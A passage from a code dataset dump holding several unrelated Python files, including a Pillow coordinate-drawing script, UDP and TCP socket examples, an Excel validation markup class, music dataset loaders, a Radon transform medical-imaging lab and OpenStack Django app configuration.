NAROŻNIK\ndraw.ellipse([(28, 118), (32, 122)], fill=128, outline=128) # LEWY DOLNY NAROŻNIK\n\n''' OBLICZAM PRAWIDŁOWE WSPÓŁRZEDNE WG MATEMATYCZNEJ OSI X I Y '''\n#wartości x, y dla wierzchołków prostkąta (wg osi współrzednych pythona)\nx_start = 30 #górny lewy wierzchołek\nx_end = 75 #górny prawy wierzchołek\ny_start = 30 #dolny prawy wierzchołek`\ny_end = 120 #dolny lewy wierzchołek\n\n# zmieniam wartości współrzednych pythona na wartości wg współrzednych matematycznych (wartości x się nie zmienią)\ny_start = 255 - y_start\ny_end = 255 - y_end\n\n#definiuję zmienne ze współrzednymi i zamieniam je na stringi przed zapisaniem w tablicy\nrozdzielnik = \"x\"\ncoord_1 = str(x_start)+rozdzielnik+str(y_start)\ncoord_2 = str(x_end)+rozdzielnik+str(y_start)\ncoord_3 = str(x_start)+rozdzielnik+str(y_end)\ncoord_4 = str(x_end)+rozdzielnik+str(y_end)\n\n#tworzę pustą tablicę i uzupełniam ją współrzędnymi ze zmiennych\ntablica = []\n#tablica.append(coord_1)\n#tablica.append(coord_2)\n#tablica.append(coord_3)\n#tablica.append(coord_4)\n\nfor x in range(1,4):\n eval(\"tablica.append(coord_\" + str(x) + \")\")\nprint(tablica)\n\n#tworzę zmienną dla czcionki i importuję czcionkę\nfont = ImageFont.truetype(\"C:\\Windows\\Fonts\\Arial.ttf\", 8) \n# nanoszę współrzedne wierzchołków na obrazie\ndraw.text((20, 20), tablica[0], fill=128, font=font, anchor=None)\ndraw.text((65, 20), tablica[1], fill=128, font=font, anchor=None)\ndraw.text((20, 125), tablica[2], fill=128, font=font, anchor=None)\ndraw.text((65, 125), tablica[3], fill=128, font=font, anchor=None)\n\ndel draw\nimg.save(\"D:\\python - projekty\\PROJEKTY\\map.png\") #moja ścieżka do plików \nimg.show()\n\n","sub_path":"pillow_wspolrzedne_tablica.py","file_name":"pillow_wspolrzedne_tablica.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"5444160","text":"from django.db.models import get_model\n\nfrom ..benchy.query_wrapper import ContainerBlockQueryWrapper\n\n\nclass QueryWrapper(ContainerBlockQueryWrapper):\n\n def select_query(self, model_id):\n container = get_model('model_utils_test', 'Container').objects.get(\n id=model_id)\n # generate a list here to make sure that the queryset is not\n # just assembled but also executed!!\n list(container.blocks.select_subclasses().order_by('display_order'))\n\n def create_block_query(self, klass, container, index):\n klass.objects.create(\n text=\"The text of block #{}\".format(index), container=container)\n","sub_path":"lightbulb/model_utils_test/query_wrapper.py","file_name":"query_wrapper.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"179655250","text":"from socket import *\r\nfrom time import ctime\r\n\r\nHOST = ''\r\nPORT = 9999\r\nBUFSIZE = 1024\r\nADDR =(HOST, PORT)\r\n\r\nserUdpSock = socket(AF_INET, SOCK_DGRAM)\r\nserUdpSock.bind(ADDR)\r\n\r\ntry:\r\n while True:\r\n print('waiting for message...')\r\n data, cliAddr = serUdpSock.recvfrom(BUFSIZE)\r\n serUdpSock.sendto((\"[%s] %s\" % (ctime(), data.decode())).encode(), cliAddr)\r\n print('...received from and returned to ', cliAddr)\r\n\r\nexcept (ConnectionResetError, EOFError, KeyboardInterrupt):\r\n serUdpSock.close()\r\n\r\n","sub_path":"py/py_core_code/tcp/udpserver .py","file_name":"udpserver .py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"251128636","text":"from contextlib import closing\nfrom typing import List\n\nfrom openpyxl import load_workbook\nfrom openpyxl.styles import PatternFill\nfrom openpyxl.comments import Comment\nfrom openpyxl.utils import get_column_letter\nfrom .validate import ValidatingExcel\n\n\nclass ExcelMarkup(ValidatingExcel):\n def __init__(self, excel_path: str, service_map: dict, service_names: list, sheet_index=0):\n self.__clear_markup(excel_path, sheet_index)\n super().__init__(excel_path, service_map, service_names, sheet_index)\n self.__path = excel_path\n self.__sheet_index = sheet_index\n self.__book = load_workbook(filename=excel_path, keep_links=False)\n self.__sheet = self.__book.worksheets[self.__sheet_index]\n self.attribute_map = self.reverse_column_map(self.column_map)\n\n def close(self):\n self.__book.save(self.__path)\n self.__book.close()\n\n def markup_with_errors(self):\n error_fill = PatternFill(fill_type='solid', start_color='FF0000')\n for row_index in self.data.get_all_rows():\n row_error_count = 0\n for entity_type, entity_errors in self.data.get_row_errors(row_index).items():\n row_error_count = row_error_count + len(entity_errors)\n for attribute_name, attribute_errors in entity_errors.items():\n column_letter = self.get_column_letter(entity_type, attribute_name, 'A')\n cell_index = self.get_cell_index(column_letter, row_index)\n self.__sheet[cell_index].comment = \\\n self.__get_error_comment(attribute_errors,self.__sheet[cell_index].comment)\n self.__sheet[cell_index].fill = error_fill\n if row_error_count:\n self.__sheet[f'A{row_index}'] = f'{row_error_count} Errors'\n self.__sheet[f'A{row_index}'].fill = error_fill\n\n def add_ena_submission_index(self):\n entity_type = 'submission'\n index_attribute = 'submission_alias'\n for submission_entity in self.data.get_entities(entity_type):\n column_letter = self.get_column_letter(entity_type, index_attribute)\n for row in self.data.get_rows_from_id(submission_entity.identifier):\n cell_index = self.get_cell_index(column_letter, row)\n self.__sheet[cell_index] = submission_entity.identifier.index\n\n def add_accessions(self):\n for entity_type, entities in self.data.get_all_entities().items():\n for entity in entities:\n for service, accession in entity.get_accessions():\n self.add_accession(entity_type, entity.identifier.index, service, accession)\n\n def add_accession(self, entity_type: str, index: str, service: str, accession: str):\n attribute = self.get_accession_attribute(entity_type, service)\n column_letter = self.get_column_letter(entity_type, attribute)\n for row_index in self.data.get_rows(entity_type, index):\n cell_index = self.get_cell_index(column_letter, row_index)\n self.__sheet[cell_index] = accession\n\n def get_column_letter(self, entity_type, attribute, default_column=None):\n attribute_key = f'{entity_type}.{attribute}'\n letter = self.attribute_map.get(attribute_key, default_column)\n if not letter:\n letter = self.add_column(entity_type, attribute)\n return letter\n\n def add_column(self, entity_type: str, attribute: str) -> str:\n column_letter = self.__get_next_column_letter()\n self.__sheet[f'{column_letter}1'] = entity_type\n self.__sheet[f'{column_letter}2'] = attribute\n self.column_map[column_letter] = {\n 'object': entity_type,\n 'attribute': attribute\n }\n self.attribute_map[f'{entity_type}.{attribute}'] = column_letter\n return column_letter\n\n def __get_next_column_letter(self) -> str:\n return get_column_letter(self.__sheet.max_column + 1)\n\n @staticmethod\n def get_cell_index(column_letter, row_index):\n return f'{column_letter}{row_index}'\n\n @staticmethod\n def reverse_column_map(column_map: dict) -> dict:\n attribute_map = {}\n for letter, info in column_map.items():\n attribute_key = f\"{info['object']}.{info['attribute']}\"\n attribute_map[attribute_key] = letter\n return attribute_map\n\n @staticmethod\n def __clear_markup(excel_path, sheet_index):\n with closing(load_workbook(filename=excel_path, keep_links=False)) as book:\n sheet = book.worksheets[sheet_index]\n sheet.delete_cols(1, 1)\n sheet.insert_cols(1, 1)\n\n for row in sheet.iter_rows():\n for cell in row:\n cell.fill = PatternFill()\n cell.comment = None\n book.save(excel_path)\n\n @staticmethod\n def __get_error_comment(errors: List[str], existing_comment: Comment = None):\n stack = []\n if existing_comment and existing_comment.text:\n stack.append(existing_comment.text)\n stack.extend(errors)\n text = '\\r\\n'.join(stack)\n comment = Comment(text, 'Validation')\n comment.width = 500\n comment.height = 100\n return comment\n","sub_path":"excel_submission_broker/markup.py","file_name":"markup.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"443921138","text":"\"\"\"\nUsage:\n\n1. Download and unzip lpd5_cleansed dataset from\nhttps://drive.google.com/uc?id=1XJ648WDMjRilbhs4hE3m099ZQIrJLvUB&export=download\n2. Get testing (10%) and training (90%) iterators\n>>> test, train = test_train_sets_lpd5(\"/path/to/lpd5/folder\", track_name='Piano', split_len=256)\n3. Use\n>>> next(train) --> returns 2d array of shape split_len*127\n4. Profit\n\nNOte:\n\n\n\"\"\"\nimport os\nimport random\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pypianoroll\nimport mido\nimport midi_proc\n\ndef iter_dir(dir, ext=None, ext_set=None, recursive=True):\n \"\"\"\n Generator over all files in a directory with a certain extension.\n Yields paths to the files.\n\n dir -- the root directory to search. File paths are appended to this, so if\n it is absolute\n ext -- the extension, e.g. '.midi'\n ext_set -- set this INSTEAD of ext to get files with multiple extensions\n e.g. set('.midi', '.mid')\n recursive -- set to False if you don't want to get files in subdirectories\n of the root directory\n \"\"\"\n for path in (os.path.join(dir, sub) for sub in os.listdir(dir)):\n if os.path.isdir(path) and recursive:\n yield from iter_dir(path, ext, ext_set, recursive)\n else:\n if ext and os.path.splitext(path)[1] == ext:\n yield path\n elif ext_set and os.path.splitext(path)[1] in ext_set:\n yield path\n\ndef get_all_paths(dir, ext=None, ext_set=None, recursive=True):\n \"\"\"\n Get paths to all files in a directory as a list.\n This is just a wrapper for iter_dir, so see its documentation for details.\n \"\"\"\n return list(iter_dir(dir, ext, ext_set, recursive))\n\nlpd5_valid_tracks = ['Drums', 'Piano', 'Guitar', 'Bass', 'Strings']\n\ndef iter_lpd5_file(path, track_name='Piano', beat_resolution=4, split_len=None):\n \"\"\"\n Generator over a '.npz' file from the lpd5 dataset.\n Typically, this will just yield the vectors array corresponding to the\n instrument you want, but if split_len is a number then it will yield\n multiple arrays.\n\n path -- path to npz file\n track_name -- which instrument to get. Must be in lpd5_valid_tracks\n beat_resolution -- number of time-steps per beat\n e.g. in 4/4 time, beat_resolution=4 -> 16th note step\n split_len -- split track into subtracks of length split_len. Will discard\n the leftovers.\n e.g. if the array is 50x127 and split_len = 20\n then two 20x127 arrays are yielded one after the other.\n If split_len = 40 then one 40x127 array is yielded.\n If split_len = 60 then nothing is yielded.\n \"\"\"\n multitrack = midi_proc.load_npz(path)\n if multitrack:\n tracks = (track for track in multitrack.tracks if track.name == track_name)\n for track in tracks:\n if split_len:\n yield from midi_proc.split_len(track.pianoroll, split_len=split_len)\n else:\n if track.pianoroll.size > 0: yield track.pianoroll\n\ndef iter_lpd5_dataset(root_dir, track_name='Piano', beat_resolution=4, split_len=None):\n \"\"\"\n Generator over all lpd5 files in a dataset with a root file\n See iter_lpd5_file for details of the parameters\n \"\"\"\n for path in iter_dir(root_dir, '.npz'):\n yield from iter_lpd5_file(path, track_name, beat_resolution, split_len)\n\ndef iter_lpd5_paths(paths, track_name='Piano', beat_resolution=4, split_len=None):\n \"\"\"\n Generator over a list of paths corresponding to lpd5 files.\n See iter_lpd5_file for parameters documentation\n \"\"\"\n for path in paths:\n yield from iter_lpd5_file(path, track_name, beat_resolution, split_len)\n\ndef test_train_paths_lpd5(root_dir):\n \"\"\"\n Partition the lpd5 set into 90% train, 10% test and yield list of paths for\n both sets. Returns [test_set_paths, train_set_paths].\n See iter_lpd5_file for what the other parameters do\n \"\"\"\n paths = get_all_paths(root_dir, '.npz')\n random.shuffle(paths)\n split_point = len(paths)//10\n test, train = paths[:split_point], paths[split_point:]\n return test, train\n\ndef test_train_sets_lpd5(root_dir, track_name='Piano', beat_resolution=4, split_len=None):\n \"\"\"\n Partition the lpd5 set into 90% train, 10% test and yield iterators over\n both sets. Returns [test_set_iterator, train_set_iterator].\n See iter_lpd5_file for what the other parameters do\n \"\"\"\n return [iter_lpd5_paths(x, track_name, beat_resolution, split_len) for x in test_train_paths_lpd5(root_dir)]\n\n# # does not support drum tracks right now.\n# def iter_midi_file(path, allowed_programs=range(0, 5), split_len=None, frame_dur=16):\n# midi = midi_proc.load_midi(path)\n# if midi:\n# for track in midi.tracks:\n# if midi_proc.program(track) in allowed_programs:\n# vectorized = midi_proc.vectorize_track(track, midi.ticks_per_beat, frame_dur=frame_dur)\n# if vectorized is not None:\n# if split_len:\n# yield from midi_proc.split_silence(vectorized, split_len)\n# else:\n# yield vectorized\n\n# def iter_midi_dataset(root_folder, allowed_programs=range(0, 5), split_len=None):\n# for path in iter_dir(root_folder, '.mid'):\n# yield from iter_midi_file(path, allowed_programs, split_len)\n\n# def iter_midi_paths(paths, allowed_programs=range(0, 5), split_len=None):\n# for path in paths:\n# yield from iter_midi_file(path, allowed_programs, split_len)\n","sub_path":"data2/data_io.py","file_name":"data_io.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"623159328","text":"from scipy.io import loadmat\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy.io import savemat\nimport os\nimport sys\nimport seaborn as sn\nfrom skimage import data, util\nfrom skimage.transform import radon, rescale, iradon\n\n\"\"\"A medical imaging script for LAB1's exercises\n\nAuthors:\n - Afonso Ferreira\n - Ana Lopes\n - Fábio Almeida\n - Madalena Cerqueira\n\"\"\"\n\n\ndef next_power_of_2(x):\n return 1 if x == 0 else 2 ** math.ceil(math.log2(x))\n\n\n# choose whether or not to display scaled Sinograms and images in the same figure\nplots_same_figure = True\n\n# Ex.1 Generate the modified Shepp-Logan phantom using the function\n# shepp_logan_phantom, and then using the function rescale to get a 256x256\n# dimension.\n\n# generating the Shepp-logan phantom square image with Height x Width = n x n\nI = data.shepp_logan_phantom() # ndarray of the phantom\nscaling_factor = 256 / I.shape[0]\nI = rescale(I, scaling_factor) # 256 / 400 = 0.64\n\n# Displaying the scaled phantom img\nplt.figure()\nplt.title(\"Modified Shepp-Logan phantom\")\nplt.imshow(I, cmap='gray')\nplt.show()\n\n# Creating and showing the histogram of the scaled phantom img\nhist_phantom = sn.distplot(I, bins=64)\nhistogram_occurrences, bin_edges = np.histogram(I, bins=64)\n\nx_ticks = [np.round(bin_edges[i], 4) for i in range(len(bin_edges) - 1) if histogram_occurrences[i] > 1000]\n\nhist_phantom.set_xticklabels(x_ticks, fontdict={'fontsize': 8, 'fontweight': 'bold'}, rotation=35, fontsize=10,\n linespacing=1.5)\ntext_str = \"Bin size = \" + str(np.round(1 / 64, 4))\nprops = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\nhist_phantom.text(0.05, 0.95, text_str, transform=hist_phantom.transAxes, fontsize=14,\n verticalalignment='top', bbox=props)\n\nplt.show()\n\n# Ex.2 Simulate the sinogram obtained by collecting projections covering [0;180]° in steps of\n# 1° (using the function radon)\n\ntheta = np.linspace(0., 180., 181, endpoint=True)\nS = radon(I, theta)\nplt.figure()\nplt.title(\"Sinogram, [0;180]\\N{DEGREE SIGN}, steps of 1\\N{DEGREE SIGN}\")\nplt.imshow(S, cmap=\"gray\")\nplt.show()\n\n# Ex.3 Simulate the associated reconstructed image using the inverse Radon transform (using\n# the function iradon)\n\nR = iradon(S, theta)\nplt.figure()\nplt.title(\"Recontructed image, [0;180]\\N{DEGREE SIGN}, steps of 1\\N{DEGREE SIGN}\")\nplt.imshow(R, cmap=\"gray\")\nplt.show()\n\n# Ex.4 Repeat the simulations in 2. and 3. by covering: [0;45]°, [0;90]°, [0;180]° and [0;360]°,\n# in steps of 1°\nSinogram_tensor = []\nReconstruction_tensor = []\n\nfor i in range(1, 5):\n j = 45 * (2 ** (i - 1))\n alfa = np.linspace(0., float(j), j + 1, endpoint=True)\n Si = radon(I, alfa)\n print(Si.shape)\n Ri = iradon(Si, alfa)\n if not plots_same_figure:\n plt.figure()\n plt.title(\"Sinogram, [0,\" + str(j) + \"\\N{DEGREE SIGN}], steps of 1\\N{DEGREE SIGN}\")\n plt.imshow(Si, cmap=\"gray\")\n\n plt.figure()\n plt.title(\"Reconstructed image, [0,\" + str(j) + \"\\N{DEGREE SIGN}], steps of 1\\N{DEGREE SIGN}\")\n plt.imshow(Ri, cmap=\"gray\")\n plt.show()\n else:\n Sinogram_tensor.append(Si)\n Reconstruction_tensor.append(Ri)\n\n# Alternative plotting method\nif plots_same_figure:\n fig_singrs = plt.figure()\n widths = [1, 91 / 46, 181 / 46, 361 / 46]\n heights = [1]\n grid_singrs = fig_singrs.add_gridspec(ncols=4, nrows=1, width_ratios=widths, height_ratios=heights)\n for i in range(0, 4):\n ax = fig_singrs.add_subplot(grid_singrs[0, i])\n plt.imshow(Sinogram_tensor[i], cmap=\"gray\")\n plt.title(\"Sinogram, [0, {}\\N{DEGREE SIGN}]\".format(45 * (2 ** (i))), fontsize=10, rotation=30)\n plt.show()\n\n fig_reconstrs = plt.figure()\n grid_reconstrs = fig_reconstrs.add_gridspec(ncols=4, nrows=1, width_ratios=[1, 1, 1, 1], height_ratios=[1])\n for i in range(0, 4):\n ax = fig_reconstrs.add_subplot(grid_reconstrs[0, i])\n plt.imshow(Reconstruction_tensor[i], cmap=\"gray\")\n plt.title(\"Reconstruction, [0, {}\\N{DEGREE SIGN}]\".format(45 * (2 ** (i))), fontsize=10, rotation=30)\n plt.show()\n\n# In order to reconstruct an image, you need 180 degrees of data (* actually 180 + fan beam angle). \n# Why? The remaining 180 degrees are simply a mirror image of the first (because it does not matter\n# which way a photon travels through tissue, it will be attenuated the same amount).\n# (Because of the fan beam geometry, you need to measure an extra amount - equal to the fan angle\n# - to actually get all of the data you need, but the concept is the same.)\n\n\n# Ex.5 Repeat the simulations in 2. and 3. by covering [0;180]°, in steps of 0.25, 1, 5 and 10°\n\nangle_steps = [0.25, 1., 5., 10.]\ntheta_angle_tensor, S_step_i, R_step_i = [], [], []\n\nfor i in range(len(angle_steps)):\n theta_angle_tensor.append(np.linspace(0., 180., int((180 / angle_steps[i]) + 1), endpoint=True))\n S_step_i.append(radon(I, theta_angle_tensor[i]))\n R_step_i.append(iradon(S_step_i[i], theta_angle_tensor[i]))\n\n\nif not plots_same_figure:\n\n # Step = 0.25º\n plt.figure()\n plt.title(\"Sinogram, [0;180\\N{DEGREE SIGN}], steps of 0.25\\N{DEGREE SIGN}\")\n plt.imshow(S_step_i[0], cmap=\"gray\")\n\n plt.figure()\n plt.title(\"Reconstructed image, [0;180\\N{DEGREE SIGN}], steps of 0.25\\N{DEGREE SIGN}\")\n plt.imshow(R_step_i[0], cmap=\"gray\")\n plt.show()\n\n # Step = 1º\n plt.figure()\n plt.title(\"Sinogram, [0;180\\N{DEGREE SIGN}], steps of 1\\N{DEGREE SIGN}\")\n plt.imshow(S_step_i[1], cmap=\"gray\")\n\n plt.figure()\n plt.title(\"Recontructed image, [0;180\\N{DEGREE SIGN}], steps of 1\\N{DEGREE SIGN}\")\n plt.imshow(R_step_i[1], cmap=\"gray\")\n plt.show()\n\n # Step = 5º\n plt.figure()\n plt.title(\"Sinogram, [0;180\\N{DEGREE SIGN}], steps of 5\\N{DEGREE SIGN}\")\n plt.imshow(S_step_i[2], cmap=\"gray\")\n\n plt.figure()\n plt.title(\"Reconstructed image, [0;180\\N{DEGREE SIGN}], steps of 5\\N{DEGREE SIGN}\")\n plt.imshow(R_step_i[2], cmap=\"gray\")\n plt.show()\n\n # Step = 10º\n plt.figure()\n plt.title(\"Sinogram, [0;180\\N{DEGREE SIGN}], steps of 10\\N{DEGREE SIGN}\")\n plt.imshow(S_step_i[3], cmap=\"gray\")\n\n plt.figure()\n plt.title(\"Reconstructed image, [0;180\\N{DEGREE SIGN}], steps of 10\\N{DEGREE SIGN}\")\n plt.imshow(R_step_i[3], cmap=\"gray\")\n plt.show()\n\nelse:\n\n fig_singrs_steps = plt.figure()\n\n widths_steps_singrs = [1, 181 / 721, 37 / 721, 19 / 721]\n heights_steps_singrs = [1]\n grid_singrs_steps = fig_singrs_steps.add_gridspec(ncols=4, nrows=1, width_ratios=widths_steps_singrs,\n height_ratios=heights_steps_singrs)\n fig_singrs_steps.suptitle('Sinograms using a range of angles within [0, 180\\N{DEGREE SIGN}] with various steps',\n fontsize=12)\n\n fig_reconstrs_steps = plt.figure()\n grid_reconstrs_steps = fig_reconstrs_steps.add_gridspec(ncols=4, nrows=1, width_ratios=[1, 1, 1, 1],\n height_ratios=[1])\n fig_singrs_steps.suptitle(\n 'Reconstruction images using a range of angles within [0, 180\\N{DEGREE SIGN}] with various '\n 'steps',\n fontsize=12)\n\n for i in range(len(angle_steps)):\n\n fig_singrs_steps.add_subplot(grid_singrs_steps[0, i])\n fig_singrs_steps.axes[i].imshow(S_step_i[i], cmap=\"gray\")\n fig_singrs_steps.axes[i].set_title(\"Step of {}\\N{DEGREE SIGN}\".format(angle_steps[i]), fontsize=10, rotation=30)\n\n fig_reconstrs_steps.add_subplot(grid_reconstrs_steps[0, i])\n fig_reconstrs_steps.axes[i].imshow(R_step_i[i], cmap=\"gray\")\n fig_reconstrs_steps.axes[i].set_title(\"Step of {}\\N{DEGREE SIGN}\".format(angle_steps[i]), fontsize=10,\n rotation=30)\n\n plt.show()\n\n# Ex.6 Repeat the simulations in 2. using the original angles, by adding noise to the projection\n# data. For this purpose, first scale the sinogram (SS) using maximum number of counts per\n# pixel of 10^3 photons, and then add the appropriate type of noise using the function\n# random_noise\n\nIntensity = 10 ** 3\nS_scaled = (S_step_i[1] * Intensity) / (np.max(np.max(S_step_i[1])))\na = 1 / next_power_of_2(len(np.unique(S_scaled)))\nS_noise = util.random_noise(S_scaled * a, 'poisson') # explicar poisson\nprint(np.max(S_scaled))\nprint(np.min(S_scaled))\n\n# a pixel value is determined by the detection of N photons\n# the uncertainty/noise associated with the measurement is given by the biggest sqrt(N) for any N of the img\n# if the instrument is ideal the most black intensity value = 0, but with noise it's N_dark > 0.\n# It's a quantum noise that controls the brighter pixels\n# Every next distinguishable intensity level is given by N +/- sqrt(N), but this step size varies with intensity\n# (non linear)\n# The dynamic range is given by N_brightest - N_darkest\n# The number of levels is given by sqrt(N_brightest) - sqrt(N_darkest)\n\n# import numpy as np\n# import matplotlib.pyplot as plt\n# n_bins = math.ceil(np.sqrt(1000))\n# print(n_bins)\n# photons_vec = np.linspace(0, 1000, 1001)\n# bin_vec\n# histogram_occurrences_2, bin_edges_2 = np.histogram(S_scaled, bins=4)\n# print(bin_edges_2)\n# plt.figure()\n# plt.plot(bin_edges_2[0:-1], histogram_occurrences_2)\n# plt.show()\n\nplt.figure()\nplt.title(\"Sinogram with noise\")\nplt.imshow(S_noise, cmap=\"gray\")\nplt.show()\n# Confirmar se falta algo aqui\n\n# Ex.7 Now reconstruct the image from the noisy projection data using iradon (with the\n# original filter, i.e. the Ram-Lak filter)\n\ntheta = np.linspace(0., 180., 181, endpoint=True)\nR_noise = iradon(S_noise, theta)\nplt.figure()\nplt.title(\"Recontructed image with noise, Ram-Lak filter\")\nplt.imshow(R_noise, cmap=\"gray\")\nplt.show()\n\n# Ex.8 Repeat 7, by replacing the original Ram-Lak filter by modified filters (available in\n# iradon), and explain the results as a function of their different frequency resp\n# ramp, shepp-logan, cosine, hamming, hann\n\nR_Hann = iradon(S_noise, theta, filter_name='hann')\nplt.figure()\nplt.title(\"Recontructed image with noise, Hann filter\")\nplt.imshow(R_Hann, cmap=\"gray\")\n\nR_Shepp_Logan = iradon(S_noise, theta, filter_name='shepp-logan')\nplt.figure()\nplt.title(\"Recontructed image with noise, Shepp-Logan filter\")\nplt.imshow(R_Shepp_Logan, cmap=\"gray\")\n\nR_Ramp = iradon(S_noise, theta, filter_name='ramp')\nplt.figure()\nplt.title(\"Recontructed image with noise, Ramp filter\")\nplt.imshow(R_Ramp, cmap=\"gray\")\n\nR_Cosine = iradon(S_noise, theta, filter_name='cosine')\nplt.figure()\nplt.title(\"Recontructed image with noise, Cosine filter\")\nplt.imshow(R_Cosine, cmap=\"gray\")\n\nR_Hamming = iradon(S_noise, theta, filter_name='hamming')\nplt.figure()\nplt.title(\"Recontructed image with noise, Hamming filter\")\nplt.imshow(R_Hamming, cmap=\"gray\")\nplt.show()\n","sub_path":"lab2/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":10772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"163136755","text":"try:\n # Django 3.1\n from django.db.models import JSONField\nexcept ImportError:\n # older Django\n from django.contrib.postgres.fields import JSONField\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n (\"auditlog\", \"0003_logentry_remote_addr\"),\n ]\n\n operations = [\n migrations.AddField(\n model_name=\"logentry\",\n name=\"additional_data\",\n field=JSONField(null=True, blank=True),\n ),\n ]\n","sub_path":"auditlog/migrations/0004_logentry_detailed_object_repr.py","file_name":"0004_logentry_detailed_object_repr.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"601127226","text":"# tcp_client.py\n\nfrom socket import *\ntcp_client = socket()\n\n# server_addr = ('127.0.0.1', 8888)\nserver_addr = ('172.40.91.159', 8888)\ntcp_client.connect(server_addr)\n\nwhile True:\n s = input(\"请输入要发送的文字: \")\n if not s: # 与服务器交换数据结束\n break\n send_bytes = s.encode()\n tcp_client.send(send_bytes)\n recv_bytes = tcp_client.recv(4096)\n recv_str = recv_bytes.decode()\n print(\"收到服务器信息:\", recv_str)\n\n\ntcp_client.close()\n\n","sub_path":"04pythonNet/day03/code/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"582520545","text":"from django.apps import AppConfig\nfrom django.db.models import signals\nfrom django_fsm import signals as fsm_signals\n\n\nclass OpenStackTenantConfig(AppConfig):\n \"\"\" OpenStack is a toolkit for building private and public clouds.\n This application adds support for managing OpenStack tenant resources -\n instances, volumes and snapshots.\n \"\"\"\n name = 'nodeconductor_openstack.openstack_tenant'\n label = 'openstack_tenant'\n verbose_name = 'OpenStackTenant'\n service_name = 'OpenStackTenant'\n\n def ready(self):\n from nodeconductor.structure import SupportedServices\n from .backend import OpenStackTenantBackend\n SupportedServices.register_backend(OpenStackTenantBackend)\n\n # Initialize service settings quotas based on tenant.\n from nodeconductor.structure.models import ServiceSettings\n from nodeconductor.quotas.fields import QuotaField\n from nodeconductor_openstack.openstack.models import Tenant\n for quota in Tenant.get_quotas_fields():\n ServiceSettings.add_quota_field(\n name=quota.name,\n quota_field=QuotaField(\n is_backend=True,\n default_limit=quota.default_limit,\n creation_condition=lambda service_settings:\n service_settings.type == OpenStackTenantConfig.service_name\n )\n )\n\n from . import handlers, models\n for Resource in (models.Instance, models.Volume, models.Snapshot):\n name = Resource.__name__.lower()\n signals.post_save.connect(\n handlers.log_action,\n sender=Resource,\n dispatch_uid='openstack_tenant.handlers.log_%s_action' % name,\n )\n\n for handler in handlers.resource_handlers:\n model = handler.resource_model\n name = model.__name__.lower()\n\n fsm_signals.post_transition.connect(\n handler.create_handler,\n sender=model,\n dispatch_uid='openstack_tenant.handlers.create_%s' % name,\n )\n\n fsm_signals.post_transition.connect(\n handler.update_handler,\n sender=model,\n dispatch_uid='openstack_tenant.handlers.update_%s' % name,\n )\n\n signals.post_delete.connect(\n handler.delete_handler,\n sender=model,\n dispatch_uid='openstack_tenant.handlers.delete_%s' % name,\n )\n\n signals.post_save.connect(\n handlers.log_backup_schedule_creation,\n sender=models.BackupSchedule,\n dispatch_uid='openstack_tenant.handlers.log_backup_schedule_creation',\n )\n\n signals.post_save.connect(\n handlers.log_backup_schedule_action,\n sender=models.BackupSchedule,\n dispatch_uid='openstack_tenant.handlers.log_backup_schedule_action',\n )\n\n signals.pre_delete.connect(\n handlers.log_backup_schedule_deletion,\n sender=models.BackupSchedule,\n dispatch_uid='openstack_tenant.handlers.log_backup_schedule_deletion',\n )\n\n signals.post_save.connect(\n handlers.log_snapshot_schedule_creation,\n sender=models.SnapshotSchedule,\n dispatch_uid='openstack_tenant.handlers.log_snapshot_schedule_creation',\n )\n\n signals.post_save.connect(\n handlers.log_snapshot_schedule_action,\n sender=models.SnapshotSchedule,\n dispatch_uid='openstack_tenant.handlers.log_snapshot_schedule_action',\n )\n\n signals.pre_delete.connect(\n handlers.log_snapshot_schedule_deletion,\n sender=models.SnapshotSchedule,\n dispatch_uid='openstack_tenant.handlers.log_snapshot_schedule_deletion',\n )\n\n signals.post_save.connect(\n handlers.update_service_settings_password,\n sender=Tenant,\n dispatch_uid='openstack.handlers.update_service_settings_password',\n )\n","sub_path":"src/nodeconductor_openstack/openstack_tenant/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"216340947","text":"while 1:\n print(\"\\n\")\n a = int(input(\"\"))\n b = int(input(\"\"))\n c = int(input(\"\"))\n\n top = a*c\n bottom = b\n factors = []\n\n for i in range(1, top + 1):\n if top % i == 0:\n factors.append(i)\n\n for i in factors:\n for x in factors:\n if x * i == top:\n if x + i == bottom:\n print(\"(%sx, %s)(%sx, %s)\" % (str(a), str(x), str(a), str(i)))","sub_path":"New/Misc/School/magic x.py","file_name":"magic x.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"96341527","text":"\"\"\"\n\nY M - 나 을 텍 전 용 메 인\n\n\"\"\"\n\n__author__ = 'lk'\n\nfrom classifier import ProbaClassModel\nimport iomanager\n\n\nif __name__ == '__main__':\n \"\"\"\n 자 보자...\n 일단 우리가 사용하는 데이터는 classifier output이야. 그러니까\n 1. Y에 대한 normalize을 해야한다.\n 2. beta approximation을 한다.\n 3. kstest로 결과 확인.\n \"\"\"\n data, target = iomanager.import_data()\n\n clf_outputs = {}\n\n # Searching을 통해서 최적의 beta function을 찾아라.\n # a = 1/100을 시작으로 \\alpha값을 먼저 최적화하고\n # b = 1/100을 시작으로 